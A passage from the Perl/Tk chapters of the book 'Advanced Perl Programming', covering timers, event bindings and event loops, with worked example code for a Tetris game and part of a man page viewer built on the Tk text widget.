    $button->after (300,
                    sub {$button->configure(text => $old_title)});
}

We will use after extensively in Chapter 15 for animation.

Both after and repeat return timer objects. Because these mechanisms are quite efficient and lightweight (unlike using alarm() and SIGALRM), you can have a large number of timers. To cancel a timer, use cancel:

$timer = $button->after(100, sub {print "foo"});
$timer->cancel();

Tk's time-out facility, unlike SIGALRM, is not preemptive. It requires that control return to the event loop before it can check if it is time for the next timer to fire. A long subroutine can delay the timed event.

Previous: 14.4 Geometry Management | Advanced Perl Programming | Next: 14.6 Event Bindings
14.4 Geometry Management | Book Index | 14.6 Event Bindings


[Chapter 14] 14.6 Event Bindings

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

14.6 Event Bindings

An event binding associates a callback function with any type of event. You have already seen instances of event bindings - the button widget's command property arranges for a user-defined procedure to be called on a mouse click, for example. The bind() command provides a more general (and hence low-level) access to the most fundamental events such as keyboard and mouse button presses and releases. (A mouse click is a press and release, so we are talking about really low-level events here.) Other "interesting" event types include mouse motion, the mouse pointer entering or leaving a window, and windows getting mapped or resized on the display. All widgets themselves rely on the bind method for their own functionality, and allow you to create extra bindings yourself. The bound procedure executes if the event you're tracking happens inside that widget or is related to that widget (such as a window resize).

The syntax of bind is as follows:

$widget->bind(event sequence, callback);

The event sequence is a string containing a sequence of basic events, with each basic event contained in angle brackets. Examples of event sequences are as follows:

"<a>"                   # Key "a" pressed (Control/shift/meta not
                        # pressed)
"<Control-a>            # Control and a pressed
"<Escape> <Control-a>"  # Two-event sequence
"<Button1>"             # Mouse button 1 clicked
"<Button1-Motion>"      # Mouse moves while Button 1 is down

A single event (within angle brackets) has the following generic syntax:

"<modifier-modifier...-modifier-type-detail>"

Examples of modifiers are Control, Meta, Alt, Shift, Button1 (or B1), Button2, Double (double click), and Triple. The modifier Any is a wildcard - all possible modifiers (including none of them) match the basic event.

The type of the event is one of KeyPress, KeyRelease, ButtonPress (or Button), ButtonRelease, Enter, Leave, and Motion.

For keyboard event specifications, the detail is a textual string describing the exact key. X Windows calls this a keysym. For printable ASCII characters, the keysym is the printed character itself. Other examples of keysyms are Enter, Right, Pickup, Delete, BackSpace, Escape, Help, F1 (function key), and so on.

The most common event types are key presses and button clicks, so Tk allows an abbreviated form of binding: instead of saying <KeyPress-a>, you can say, <a>; instead of writing <Button1-ButtonPress>, you can say, <1>.

The text and canvas widgets support bindings at a finer level of granularity. They support event bindings for different tags in addition to bindings for the widget itself. bind allows you to specify the name of the tag as the first parameter and the event sequence and callback as the second and third parameters, respectively:

$text->bind('hyper-link', '<1>', \&open_page);

This code ensures that any stretch of text tagged with "hyper-link" will respond to a button click event and call the procedure open_page.

14.6.1 Multiple Bindings

It is possible to have several bindings to respond to the same event. For example, when a mouse button is pressed, both <Button1> and <Double-Button1> are candidates. If there's a conflict for a given widget (or tag), the rule is that the most specific binding is called. <Double-Button1> is more specific than <Button1>, since it is a longer specification.

In addition to matching the most specific binding at the widget level, Tk matches the most specific bindings at the class level (the class that represents all buttons, for example), then at the widget's top level, then at a level called "all." All four categories of bindings are executed. This order itself can be changed using the bindtags() method, but I recommend that you avoid doing this.

Although Tk allows you to change default widget bindings, I recommend that you don't modify them because people get used to them working in a certain way. For example, a double-click inside a text widget usually selects the word under the mouse pointer, and it would be quite disconcerting for a user if you happened to change that behavior. On the other hand, there are plenty of other places where you can, and need to, add your own bindings. Canvas and text widget tags are the most frequent target of event bindings, as we shall see in the next two chapters.

14.6.2 Event Details

We have seen how to specify an event accurately. There are times when we do exactly the opposite - make the event specifier most general, such as <Any-KeyPress>. For instance, you probably don't want to specify a unique binding for each character on the keyboard. But when a key is pressed, the callback might like to know which key was pressed. This is where event details come in.

Each event carries with it all the details related to that event, and the function Ev() is used to get at those details. The parameter to Ev() is a single character that specifies the part of the event record you are interested in. Ev('k') specifies the keycode, Ev('x') and Ev('y') specify the x and y coordinates of the mouse pointer, and Ev('t') specifies the time of the event. There are over 30 such parameters to Ev. The following example shows how you can use this facility:

$label->bind("<Any-KeyPress>" => [\&move, Ev('k')]);
sub move {
    my $key = shift;
    if ($key eq 'k') {
       move_left();
    } elsif ($key eq 'l') {
       move_right();
    }
}

In this example, the bind specification registers its interest in key events and specifies that it wants the keycode supplied to the callback procedure whenever it is invoked.

Previous: 14.5 Timers | Advanced Perl Programming | Next: 14.7 Event Loops
14.5 Timers | Book Index | 14.7 Event Loops


[Chapter 14] 14.7 Event Loops

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

14.7 Event Loops

MainLoop executes an event loop that picks up events from the underlying windowing system and dispatches it to the appropriate widgets. When a callback procedure is called in response to an event, it is the responsibility of the callback to return (or "yield") as soon as possible; otherwise, it holds up all events that have since arrived.

For long-running activities that are CPU-intensive, it is your responsibility to chop that activity up into manageable pieces and arrange for a timer to call the processing routine at regular intervals. This gives the event loop a chance to dispatch pending events. This kind of CPU sharing is called cooperative multitasking. Early versions of Microsoft Windows (until Version 3.1) similarly depended on your application being a good citizen; otherwise, it would hang the entire operating system.

For tasks such as ray-tracing and animations that are both CPU- and GUI-intensive, you can use the $widget->update method to process all events. This method doesn't return until all pending event messages (including repaint events) in the event queue have been processed.

Blocking system calls are not a very good idea in an event-driven environment, as we discussed in Chapter 12. The most common of these are the read and write calls, especially if they are talking to pipes and sockets. For example, the diamond operator (<>) blocks until it can get a line of text. Instead of directly calling an I/O call, you must let Perl/Tk tell you that it is safe to use that call, since it won't block. Tk provides a procedure called fileevent that notifies a callback when the file descriptor becomes readable or writable. This is how you use it:

open (F, "/tmp/foo");
$button->fileevent(F, "readable", \&read_file);
sub read_file {
    if (eof(F)) {
        $button->fileevent(F, "readable", undef); # cancel binding
            return ;
    }
    if (sysread (F, $buf, 1024)) {
        $text->insert('end', $buf); # Append the data read
    } else {
        # sysread returned undef. Problem with file
        $text->insert('end', "ERROR !!!";
        button->fileevent(F, "readable", undef); # cancel binding
    }
}

When the callback is invoked, Tk (which on Unix uses the select call internally) guarantees that at most one character is ready to be read or written. Beyond that it may or may not block; no assurances are given. The callback is also called if there's an end-of-file or error, so you must check both these conditions. Otherwise, the callback is called again as soon it returns, resulting in an infinite loop. As we discussed in the networking chapters, it is best to use nonblocking I/O if your system supports it.

In this chapter, we have studied widgets, event loops, timers, and event bindings. The next two chapters are designed to pull all these concepts together and to apply them to some practical problems. They also give us a chance to go beyond a mere test run of the two really neat widgets in the Tk pantheon: canvas and text.

Previous: 14.6 Event Bindings | Advanced Perl Programming | Next: 14.8 Resources
14.6 Event Bindings | Book Index | 14.8 Resources


[Chapter 14] 14.8 Resources

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

14.8 Resources

  1. Tcl/Tk libraries and papers, available at http://www.scriptics.com/ for the Sun Tcl/Tk pages; http://www.neosoft.com for everything related to Tcl/Tk.

  2. Perl/Tk documentation.

    All widgets are extensively documented. Look for the file index.html.

  3. About Face: The Principles of User-Interface Design. Alan Cooper. IDG Books Worldwide, 1995.

    Forceful, opinionated writing on how GUIs should be designed.

  4. Bringing Design to Software. Terry Winograd. Addison-Wesley, 1996.

    Has specialists from different fields talking about good design, especially user interfaces.

Previous: 14.7 Event Loops | Advanced Perl Programming | Next: 15. GUI Example: Tetris
14.7 Event Loops | Book Index | 15. GUI Example: Tetris


[Chapter 15] GUI Example: Tetris

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book
Previous: 14.8 Resources Chapter 15 Next: 15.2 Design

15. GUI Example: Tetris

Contents:
Introduction to Tetris
Design
Implementation

- Is this a game of chance?

- Not the way I play it, no.

- W.C. Fields

Writing a game is the best ways to test your understanding of GUI programming, because it covers three important user interface areas: forms, structured graphics, and animation. In this chapter, we build the popular game of Tetris and reward ourselves with hours of unproductive fun afterward. These are the specific bits of Tk knowledge that we will exercise in this chapter:

  • Using canvas tags to efficiently move or delete groups of canvas items.

  • Using the timer to control pieces of animation: moving the blocks and shooting them. (Yes, we will add a cheesy arcade style shooting of the blocks too!)

  • Using pack effectively for form layout. This chapter just has two buttons and a canvas widget, so this is a very minor exercise.

It is estimated (or commonly quoted, at least) that most applications with a user interface devote around 70% of their code in GUI-specific details. In this chapter, you'll see how Tk reduces the burden to, say, a 30% effort, even in an application as GUI-intensive as a game.

15.1 Introduction to Tetris

Tetris hit the PC world in 1985 when its creators, Alexey Paszhitnov, Dmitry Pavlovsky, and Vadim Gerasimov, ported the game to the IBM PC. Shortly thereafter, Nintendo converted it into a huge success by implementing it on their Gameboy line of hand-held computer games. The continued availability of the line at a time when Nintendo is marketing 64-bit systems is a testimony to the game's appeal.

If you have never played the game, I suggest you play it a few times to get a feel for it.[1] In each iteration, a block[2] falls down from the top (ticking along one row at a time), and finally merges with the heap at the bottom (see Figure 15.1). At this point, Tetris collapses any row (of the heap) that has become full; that is, it deletes that row and moves all the heap rows above it one row down. Then the next iteration starts, this time possibly with a differently shaped block. The object of the game is to keep the heap from piling up all the way to the top. To do this, you can move the block to the left and right (using the keys "j" and "l") and rotate it (using "k") as it falls such that you can get the rows to fill up and collapse frequently. If you press the spacebar, the block falls down to the heap instantly (instead of gradually ticking along) and is merged with the heap.

[1] The complete code is available as tetris.pl at the O'Reilly FTP site.

[2] Consisting of four tiles, hence the name of the game.

Figure 15.1: Tetris screen

Previous: 14.8 Resources | Advanced Perl Programming | Next: 15.2 Design
14.8 Resources | Book Index | 15.2 Design


[Chapter 15] 15.2 Design

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

15.2 Design

Let us look at the design of the user interface (specifically, our strategy for using the canvas widget effectively) and the data structures that record the state of the game and are not dependent on the user interface.

15.2.1 User Interface

Tetris's screen layout, shown in Figure 15.1, is straightforward. You need two button widgets for "Start/Pause" and "Quit," a canvas widget for the graphics, and a main window to contain all this stuff.

The grid and the blocks are drawn on the canvas. Each block is composed of several square tiles moving as one unit. The heap is a similar collection of tiles. Each tile is a canvas item. An alternative for drawing the block is a filled polygon, but the tiled version is much simpler to implement. The block's tiles are tagged with the string "block," so it is easy to move them around as one unit, using the canvas's move method. We also remember each tile's canvas item ID so that they can be individually deleted or moved.

One concern with animation is flicker when the monitor's periodic refresh picks up changes to video memory as they are happening. To prevent flicker, you need to resort to double-buffering: first render the new animation frame into a pixmap and then copy that pixmap quickly into video memory. Fortunately, the canvas widget already does double-buffering, so we can simply move canvas items around without fear of flicker.

15.2.2 Data Structures

Both the block and the heap carry two pieces of information for each tile: its position on the grid (the cell) and the ID given by the canvas widget. The position can be expressed either as a row and a column or as a cell index expressed as (row * (columns in grid) + column). The formula assumes that both row and column are 0-based. That is, the cells are numbered from left to right and from top to bottom in increasing numbers starting from 0. Figure 15.1 shows the numbers assigned to the leftmost cells in each row. This approach is convenient, since it encodes both row and column into one number and easily fits into the data structures discussed next.

My first attempt was to model the block and the heap as objects. A tile has two attributes, tile_id (the ID given by the canvas widget) and position, and the block and heap have one attribute each, a sequence of tiles. But because there is only one block and one heap at any time, and because a tile belongs to either the block or the heap, I chose a simpler approach. The block is represented by the array @block_cells, each element of which contains the cell number occupied by the corresponding tile. Similarly, each element of the array @tile_ids contains the ID of the canvas widget item representing the block's tile in that position. The heap is organized in a different way. The array @heap contains as many elements as there are cells in the grid; an element of this array either is undef or contains the appropriate canvas item ID of a tile belonging to the heap. Of the different ways in which I tried organizing the block and heap information, I found that this scheme is the most convenient for the two complex operations: rotating the block and merging the block and heap.

Previous: 15.1 Introduction to Tetris | Advanced Perl Programming | Next: 15.3 Implementation
15.1 Introduction to Tetris | Book Index | 15.3 Implementation


[Chapter 15] 15.3 Implementation

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

15.3 Implementation

We will focus only on those routines that either are central to the game or illustrate Tk in action.

The main program simply consists of the two calls to init() and MainLoop(). init creates the screen, sets up the key bindings, and configures a timer to call tick. Let us jump into the meat of the action by starting with this procedure.

tick moves the block down and then reloads the timer, specifying itself as a callback:

sub tick {
    return if ($state == $PAUSED);
    if (!@block_cells) {
        if (!create_random_block()) {
            game_over();           # Heap is full:could not place block
            return;                # at next tick interval
        }
        $w_top->after($interval, \&tick);
        return;
    }
    move_down();                      # move the block down
    $w_top->after($interval, \&tick); # reload timer for nex
}

fall() is called when the space bar is hit; it keeps moving the block down until it hits any tile in the heap or hits bottom. move_down returns a false when either of these happens.

sub fall {                 # Called when spacebar hit
    return if (!@block_cells);   # Return if not initialized
    1 while (move_down()); # Move down until it hits heap or bottom.
}

move_down() simply adds $MAX_COLS to each of the block tile's cell positions to effectively move it one row down. It then checks whether any of these new positions touch the bottom of the grid or intersect with any preexisting heap tile's cell position. If so, it calls the merge_block_and_heap routine and returns a false value. If not, it simply remembers the set of new positions and uses the move method to move all the block tiles down in one fell swoop ($TILE_HEIGHT pixels down). It returns a 1 so that fall above knows to keep continuing.

sub move_down {
    my $cell;
    my $first_cell_last_row = ($MAX_ROWS-1)*$MAX_COLS;
    # if already at the bottom of the heap, or if a move down
    # intersects with the heap, then merge both.
    foreach $cell (@block_cells) {
        if (($cell >= $first_cell_last_row) ||
            ($heap[$cell+$MAX_COLS])) {
            merge_block_and_heap();
            return 0;
        }
    }
    foreach  $cell (@block_cells) {
        $cell += $MAX_COLS;
    }
    $w_heap->move('block', 0,  $TILE_HEIGHT);
    return 1;
}

merge_block_and_heap does two major things: it hands over all of the block's tiles to the heap, and it nullifies %block. Then it marches through @heap looking for rows that have tiles in all columns. If it finds any, it marks all those tiles with an additional tag called delete, using the addtag method:

$w_canvas->addtag('delete', 'withtag' => $heap[$i]);

The straightforward way to delete a row would be to remove the corresponding entries in the heap and to delete the corresponding tiles on the canvas. But that method doesn't give the user an idea of which rows are being consolidated; besides, it's too boring. So merge_block_and_heap fills all the tiles tagged delete with a white background and, after 300 ms, deletes all these items. This way the user sees a full row change color to white for a brief instant before vanishing. Notice how the closure supplied to after makes it convenient to supply a piece of code to execute in the future. The same closure also moves the rest of the heap's tiles to their new places (because some rows have collapsed).

my $last_cell = $MAX_COLS * $MAX_ROWS;
sub merge_block_and_heap {
    my $cell;
    # merge block
    foreach $cell (@block_cells) {
        $heap[$cell] = shift @tile_ids;
    }
    $w_heap->dtag('block'); # Forget about the block - it is now merged
    # check for full rows, and get rid of them
    # All rows above them need to be moved down, both in @heap and
    # the canvas, $w_heap
    my $last_cell = $MAX_ROWS * $MAX_COLS;
    my $filled_cell_count;
    my $rows_to_be_deleted = 0;
    my $i;
    for ($cell = 0; $cell < $last_cell; ) {
        $filled_cell_count = 0;
        my $first_cell_in_row = $cell;
        for ($i = 0; $i < $MAX_COLS; $i++) {
            $filled_cell_count++ if ($heap[$cell++]);
        }
        if ($filled_cell_count == $MAX_COLS) {
            # this row is full
            for ($i = $first_cell_in_row; $i < $cell; $i++) {
                $w_heap->addtag('delete', 'withtag' => $heap[$i]);
            }
            splice(@heap, $first_cell_in_row, $MAX_COLS);
            unshift (@heap, (undef) x $MAX_COLS);
            $rows_to_be_deleted = 1;
        }
    }
    @block_cells = ();
    @tile_ids = ();
    if ($rows_to_be_deleted) {
        $w_heap->itemconfigure('delete',
                               '-fill'=> 'white');
        $w_top->after (300,
                       sub {
                           $w_heap->delete('delete');
                           my ($i);
                           my $last = $MAX_COLS * $MAX_ROWS;
                           for ($i = 0; $i < $last; $i++) {
                               next if !$heap[$i];
                               # get where they are
                               my $col = $i % $MAX_COLS;
                               my $row = int($i / $MAX_COLS);
                               $w_heap->coords(
                                    $heap[$i],
                                    $col * $TILE_WIDTH,       #x0
                                    $row * $TILE_HEIGHT,      #y0
                                    ($col+1) * $TILE_WIDTH,   #x1
                                    ($row+1) * $TILE_HEIGHT); #y1
                           }
                       });
    }
}

Let us now look at two of the other routines to manipulate the block: move_left and rotate. We'll skip move_right because it is similar to move_left.

move_left moves each of the block's tiles to the left by simply subtracting 1 from their respective cell positions. The function does nothing if any of the new positions go past the left edge or intersect with an occupied heap cell. If moving is allowed, the canvas items tagged "block" are simply moved $TILE_WIDTH pixels to the left:

sub move_left {
    my $cell;
    foreach $cell (@block_cells) {
        # Check if cell is at the left edge already
        # If not, check whether the cell to its left is already
        # occupied
        if ((($cell % $MAX_COLS) == 0) ||
            ($heap[$cell-1])){
            return;
        }
    }
    foreach $cell (@block_cells) {
        $cell--; # This affects the contents of @block_cells
    }

    $w_heap->move('block', - $TILE_WIDTH, 0);
}

rotate is a trifle more complex. It computes a pivot row and column from the block's tile positions and calculates new tile positions by a simple transformation explained in the following code. It also ensures that the newly computed positions are not illegal in any way (moving out of the grid or intersecting with the heap). It then calls the canvas's coords method to move each of the tiles individually to their new places.

sub rotate {
    # rotates the block counter_clockwise
    return if (!@block_cells);
    my $cell;
    # Calculate the pivot position around which to turn
    # The pivot is at (average x, average y) of all block_cells
    my $row_total = 0; my $col_total = 0;
    my ($row, $col);
    my @cols = map {$_ % $MAX_COLS} @block_cells;
    my @rows = map {int($_ / $MAX_COLS)} @block_cells;
    foreach (0 .. $#cols) {
        $row_total += $rows[$_];
        $col_total += $cols[$_];
    }
    my $pivot_row = int ($row_total / @cols + 0.5); # pivot row
    my $pivot_col = int ($col_total / @cols + 0.5); # pivot col
    # To position each cell counter_clockwise, we need to do a small
    # transformation. A row offset from the pivot becomes an equivalent
    # column offset, and a column offset becomes a negative row offset.
    my @new_cells = ();
    my @new_rows = ();
    my @new_cols = ();
    my ($new_row, $new_col);
    while (@rows) {
        $row = shift @rows;
        $col = shift @cols;
        # Calculate new $row and $col
        $new_col = $pivot_col + ($row - $pivot_row);
        $new_row = $pivot_row - ($col - $pivot_col);
        $cell = $new_row * $MAX_COLS + $new_col;
        # Check if the new row and col are invalid (is outside or
        # something is already occupying that  cell)
        # If valid, then no-one should be occupying it.
        if (($new_row < 0) || ($new_row > $MAX_ROWS) ||
            ($new_col < 0) || ($new_col > $MAX_COLS)  ||
            $heap[$cell]) {
            return 0;
        }
        push (@new_rows, $new_row);
        push (@new_cols, $new_col);
        push (@new_cells, $cell);
    }
    # Move the UI tiles to the appropriate coordinates
    my $i= @new_rows-1;
    while ($i >= 0) {
        $new_row = $new_rows[$i];
        $new_col = $new_cols[$i];
        $w_heap->coords($tile_ids[$i],
                        $new_col * $TILE_WIDTH,      #x0
                        $new_row * $TILE_HEIGHT,     #y0
                        ($new_col+1) * $TILE_WIDTH,  #x1
                        ($new_row+1) * $TILE_HEIGHT);
        $i--;
    }
    @block_cells = @new_cells;
    1; # Success
}

When this mutant version of Tetris starts, it draws a small red triangular "gun" (cell number 70 in Figure 15.1). shoot is called when the "a" or "s" key is pressed. The "a" key shoots an arrow from the gun and blows off the leftmost tile of the block in the gun's row if the block happens to be passing by. The "s" key takes a shot at the rightmost tile. This is quite cheesy, really, but useful if you want to see how an animation sequence can be staged by using the canvas. The first part of the procedure simply determines which block tile is to be removed, if any. It then creates an arrow (a line with an arrowhead) from the gun to the selected tile, changes its stippling, and after a 200-ms interval, deletes both the tile and the arrow. This has the visual effect of blowing up a tile.

sub shoot {
    my ($dir) = @_;
    my $first_cell_shoot_row = $shoot_row*$MAX_COLS;
    my $last_cell_shoot_row = $first_cell_shoot_row + $MAX_COLS;
    my $cell;
    my (@indices) =
        sort {
            $dir eq 'left' ?
                $block_cells[$a] <=> $block_cells[$b] :
                    $block_cells[$b] <=> $block_cells[$a]
                    } (0 .. $#block_cells);
    my $found = -1;
    my $i;
    foreach $i (@indices) {
        $cell = $block_cells[$i];
        if (($cell >= $first_cell_shoot_row) &&
            ($cell < $last_cell_shoot_row)) {
            $found = $i;
            last;
        }
    }
    if ($found != -1) {
        my $shot_tile = $tile_ids[$found];
        ($cell) = splice (@block_cells, $found, 1);
        splice (@tile_ids, $found, 1);
        my $y = ($shoot_row + 0.5)*$TILE_HEIGHT;
        my $arrow = $w_heap->create(
                                    'line',
                                    0,
                                    $y,
                                    (($cell % $MAX_COLS) + 0.5)
                                                        * $TILE_WIDTH,
                                    $y,
                                    '-fill' => 'white',
                                    '-arrow' => 'last',
                                    '-arrowshape' => [7,7,3]
                                    );

        $w_heap->itemconfigure($shot_tile,
                               '-stipple' => 'gray25');
        $w_top->after (200,sub {
            $w_heap->delete($shot_tile);
            $w_heap->delete($arrow);
        });
    }
}

Let us now see the two routines responsible for setting up the screen: create_screen and bind_key. Both these functions are called by init(). Note the way the pack method is used in create_screen and how the space character is translated to an event-binding in bind_key.

sub create_screen {
    $w_top = MainWindow->new('Tetris - Perl/Tk');
    $w_heap = $w_top->Canvas('-width'  => $MAX_COLS * $TILE_WIDTH,
                             '-height' => $MAX_ROWS  * $TILE_HEIGHT,
                             '-border' => 1,
                             '-relief' => 'ridge');
    $w_start = $w_top->Button('-text' => 'Start',
                              '-command' => \&start_pause,
                              );
    my $w_quit = $w_top->Button('-text' => 'Quit',
                                '-command' => sub {exit(0)}
                                );
    $w_heap->pack();
    $w_start->pack('-side'=> 'left', '-fill' => 'y', '-expand' => 'y');
    $w_quit->pack('-side'=> 'right', '-fill' => 'y', '-expand' => 'y');
}
sub bind_key {
    my ($keychar, $callback) = @_;
    if ($keychar eq ' ') {
        $keychar = "KeyPress-space";
    }
    $w_top->bind("<${keychar}>", $callback);
}
Previous: 15.2 Design | Advanced Perl Programming | Next: 16. GUI Example: Man Page Viewer
15.2 Design | Book Index | 16. GUI Example: Man Page Viewer


[Chapter 16] GUI Example: Man Page Viewer

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book
Previous: 15.3 Implementation Chapter 16 Next: 16.2 Implementation

16. GUI Example: Man Page Viewer

Contents:
man and perlman
Implementation
Resources

Help wanted. Telepath. You know where to apply.

- Anonymous

The primary objective of this chapter is to exercise some of the most important capabilities of Tk's text widget; a man page viewer called perlman provides an ideal test case.[1] In this chapter, you will familiarize yourself with the widget's text insertion, deletion, and retrieval capabilities; use a variety of indexing primitives; create and configure tags; and perform regular expression searching and highlighting of text. Along the way, you'll also learn to use entry widgets and construct menus dynamically.

[1] For a more ambitious workout of the text widget, you could try writing an HTML page viewer.

perlman is modeled after TkMan [5], a very nice man page viewer written by Thomas Phelps at the University of California at Berkeley, using Tcl/Tk. perlman contains only a small subset of TkMan's functionality.

Thomas has also written an experience paper entitled "Two Years with TkMan: Lessons and Innovations. Or, Everything I Needed to Know about Tcl/Tk I Learned from TkMan" [6]. It presents a good case for writing the entire utility in a scripting language and unwittingly convinces us, smug Perl programmers that we are, why Perl would have been the ideal choice. Please see the Section 16.3, "Resources" section at the end of this chapter for pointers to TkMan and this paper.

16.1 man and perlman

Unix manual pages are normally viewed by the man(1) command. When you say man perl at the command line, it searches the list of directories indicated by the environment variable MANPATH, a colon-separated list of pathnames. (If MANPATH is not specified, man(1) looks at standard locations, such as /usr/man.) Once it finds a file called perl.1, it calls tbl to format the tables and nroff to format the text, and pipes the output through a suitable pager, such as more(1) or less(1).

Figure 16.1: perlman screen

perlman, shown in Figure 16.1, is a GUI wrapper over man. To view a topic, you have to enter a string in the "Show" box and press the Return key. To highlight all pieces of text matching a given regular expression, simply enter it in the "Search" box and press Return. You can also perform exact string searches and ignore case optionally. In addition, perlman provides the following features:

Hypertext

If you double-click on any word, perlman displays the man page on that topic, if it exists. In man(1), you have to quit the current man page before looking at the other documentation. In contrast to other help systems such as those found on Microsoft Windows or HTML pages, perlman doesn't require a piece of text to be specially marked as a hypertext link. In addition, if you click on a string such as strcmp(3), perlman looks for the corresponding documentation in section three of the manual. This helps immensely with the "SEE ALSO" sections.

Section headers

Some manual pages such as csh(1), gcc(1), and perlfunc(1) are very big. perlman helps the user navigate faster through such documents by creating a special menu called "Headings." Under this menu, it shows all the section headings in that document, such as "NAME," "DESCRIPTION," and "SEE," as shown in Figure 16.1. When the user selects one of these options, the corresponding section is brought into view.

Sections

perlman shows all the sections available, in a menu called "Sections," and when you select one of them, it shows all the topics available in that section. You can then double-click on any of these topics to get help.

Previous: 15.3 Implementation | Advanced Perl Programming | Next: 16.2 Implementation
15.3 Implementation | Book Index | 16.2 Implementation


[Chapter 16] 16.2 Implementation

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

16.2 Implementation

perlman's implementation can be logically divided into four chunks:

  • Formatting and displaying man pages in the text widget: the routines show_man and get_command_line.

  • Search facility: search.

  • Screen layout: create_ui.

  • Displaying the list of help topics available in every section. We will not look at this particular piece of functionality, because it does not have much user interface code.

Before we barrel into each of the subroutines mentioned above, let us briefly study all the capabilities of the text widget used by perlman:

  • Inserting text at end, and marking it with a tag ("section"):

    $text->insert('end', 'sample text', 'section');

  • Retrieving a stretch of text between two indices:

    $line = $text->get($start_index, $end_index);

  • Ensuring that a particular index is visible:

    $text->see($index)

  • Deleting entire contents:

    $text->delete('1.0', 'end'); # From line 1, column 0, to end

  • Creating and configuring a tag:

    $text->tagConfigure('search',
                    'foreground' => yellow, 'background' => 'red');

  • Deleting a tag:

    $text->tagDelete('search');

  • Applying a tag to a range of text, given an index position and number of characters:

    $text->tagAdd('search', $current, "$current + $length char");

  • Listing all mark names and deleting each of them:

    foreach $mark ( $text->markNames() ) { $text->markUnset($mark); }

  • Getting the line and column number (the index) from logical positions:

    # row and col of current end position
$index = $text->index('end');

# go to current insert position, then to the beginning of the word
# and report the line and column
$start_index = $text->index('insert wordstart');

# Go to 10th row, column 3, advance 5 chars, and report the new
# row and column
$i = $text->index("10.3 + 5 char");

    Note that the index method does not change the state of the widget.

  • Doing an exact or regular expression search, specifying where to start and where to end:

    $current = $text->search('-count' => \$length,
                         '-regex', '-nocase','--', # search options
                         $search_pattern,
                         $current, 'end');         # from , to

    The search method returns the index of the text at which the search succeeds and sets the variable associated with the -count property. It returns undef if the search failed.

  • Binding a mouse double-click to a subroutine:

    $text->bind('<Double-1>', \&pick_word);

16.2.1 Showing Man Pages

Let us dive into the meat of the application, the procedure show_man. As can be seen in Figure 16.1, an entry widget labeled "Show:" accepts a topic name. When the user types text into this widget, $show, and hits the Return key, show_man is called. This procedure fetches the string from $show and calls get_command_line to construct a command pipeline to read from man (for open's purposes). It then reads this pipe a line at a time and examines the line to see whether it is a likely heading (such as "NAME" or "DESCRIPTION"). Headings in man pages are typically in all caps and start from the first column. If a line looks like a heading, show_man inserts the line with a tag called "section"; otherwise, it inserts it as regular untagged text. The "section" tag is preconfigured with a larger size font. In addition, show_man appends a new entry to the "Headings" menu and arranges the callback associated with this entry to scroll the text widget to the line containing that section header.

sub show_man {
    my $entry = $show->get();   # get entry from $show
    # $entry can be something like 'csh', or 'csh(1)'
    my ($man, $section) = ($entry =~ /^(\w+)(\(.*\))?/);
    if ($section && (!is_valid_section($section))) {
        undef $section ;
    }
    my $cmd_line = get_command_line($man, $section); # used by open

    # Erase everything to do with current page (contents, menus, marks)
    $text->delete('1.0', 'end');  # erase current page
    # Insert 'working' message; use the 'section' tag because
    # it has nice large fonts.
    $text->insert('end',
                  "Formatting \"$man\" .. please wait", 'section');
    $text->update();  # Flush changes to text widget
    $menu_headings->menu()->delete(0,'end'); # Delete current headings
    my $mark;
    foreach $mark ($text->markNames) {  # remove all marks
        $text->markUnset($mark);
    }

    # UI is clean now. Open the file
    if (!open (F, $cmd_line)) {
        # Use the text widget for error messages
        $text->insert('end', "\nError in running man or rman");
        $text->update();
        return;
    }
    # Erase the "Formatting $man ..." message
    $text->delete('1.0', 'end');
    my $lines_added = 0; my $line;

    while (defined($line = <F>)) {
        $lines_added = 1;
        # If first character is a capital letter, it's likely a section
        if ($line =~ /^[A-Z]/) {
            # Likely a section heading
            ($mark = $line) =~ s/\s.*$//g;  # $mark has section title
            my $index = $text->index('end');# note current end location
            # Give 'section' tag to the section title
            $text->insert('end', "$mark\n\n", 'section');
            # Create a section heading menu entry. Have callback
            # invoke text widget's 'see' method to go to the index
            # noted above
            $menu_headings->command(
                    '-label' => $mark,
                    '-command' => [sub {$text->see($_[0])},$index])
        } else {
            $text->insert('end', $line); # Ordinary text. Just insert.
        }
    }
    if ( ! $lines_added ) {
        $text->insert('end', "Sorry. No information found on $man");
    }
    close(F);
}

get_command_line takes the name of a man page and an optional section and returns an appropriate command line that can be used for the open command. Different systems might need different command lines, and the following listing shows the command line for Solaris. Since man (actually, nroff ) formats the page for a terminal (inserting escape sequences to show words in bold and headers and footers for every page), we use a freely available utility called rman ("RosettaMan"; see the Section 16.3" section at the end of this chapter) to filter out this noise.

sub get_command_line {
    my ($man, $section) = @_;
    if ($section) {
        $section =~ s/[()]//g; # remove parens
        return "man -s $section $man 2> /dev/null | rman |";
    } else {
        return "man $man 2> /dev/null | rman |";
    }
}

The pick_word procedure is called when you double-click on the text widget. It uses the index method to compute the index of the beginning of the word clicked on, and that of the end of the line, and extracts this range of text. pick_word then looks for an ordinary string (the topic), followed by an optional string within parentheses (the section). Before invoking show_man, it inserts this string into the entry widget, $show, thus pretending to be a user who has typed in that text.

sub pick_word {
    my $start_index = $text->index('insert wordstart');
    my $end_index = $text->index('insert lineend');
    my $line = $text->get($start_index, $end_index);
    my ($page, $section) = ($line =~ /^(\w+)(\(.*?\))?/);
    return unless $page;
    $show->delete('0', 'end');
    if ($section && is_valid_section($section)) {
        $show->insert('end', "$page${section}");
    } else {
        $show->insert('end', $page);
    }
    show_man();
}

16.2.2 Searching for Text

The menu bar contains a search menu exactly as described in the example under "Menus" in Section 14.1, "Introduction to GUIs, Tk, and Perl/Tk". When the "Find" menu item is selected, the subroutine search is called. It first calls tagDelete to remove all highlights (which may be present from a previous search). Then it starts from the top (line 1, column 0) and invokes the widget's search method to find the first piece of matching text. When a match is found, this method updates the variable supplied to the -count parameter with the length of the matched text. This stretch of text is then highlighted using a tag called "search." The cursor is advanced beyond the matching text, and the search is resumed.

sub search {
    my $search_pattern = $search->get();
    $text->tagDelete('search');  # Removing the tag restores the
                                 # associated regions of text to their
                                 # default style
    $text->tagConfigure('search',
                        '-background' => 'yellow',
                        '-foreground' => 'red');

    my $current = '1.0';# Start at line 1, column 0 (beginning of file)
